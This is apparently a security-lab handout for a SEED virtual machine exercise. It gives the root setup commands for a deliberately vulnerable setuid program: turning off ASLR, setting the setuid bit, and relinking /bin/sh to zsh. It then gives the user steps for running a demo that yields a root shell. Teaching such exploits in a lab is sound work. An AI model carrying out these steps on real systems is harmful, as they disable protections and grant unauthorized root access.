Use the following instructions to compile and run your program lab 3 task 2.

First, you will login as root, turn off address randomization, and create a root-owned setuid executable named got. This executable has a security flaw that will be exploited by the normal user seed. Follow these steps:

```
Password:
root@seed-desktop:/home/seed# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@seed-desktop:/home/seed# gcc -g -o got got.c
root@seed-desktop:/home/seed# chmod 4755 got
root@seed-desktop:/home/seed# cd /bin
root@seed-desktop:/bin# rm sh
root@seed-desktop:/bin# ln -s zsh sh
root@seed-desktop:/bin# exit
exit
```

Next, you will login as a normal user who will attempt to exploit the program got. Set up the PATH environment variable as shown below, and compile the seed owned Array.c program. Then run the program got using special arguments - this is done by running gotdemo. You will see that the root shell is launched.

```
seed@seed-desktop:~$ export PATH=.:$PATH
seed@seed-desktop:~$ gcc -o Array Array.c
seed@seed-desktop:~$ ls -l Array
-rwxr-xr-x 1 seed seed 9147 2014-10-25 14:38 Array
seed@seed-desktop:~$ chmod 755 gotdemo
seed@seed-desktop:~$ ./gotdemo
 (some output here)
#
```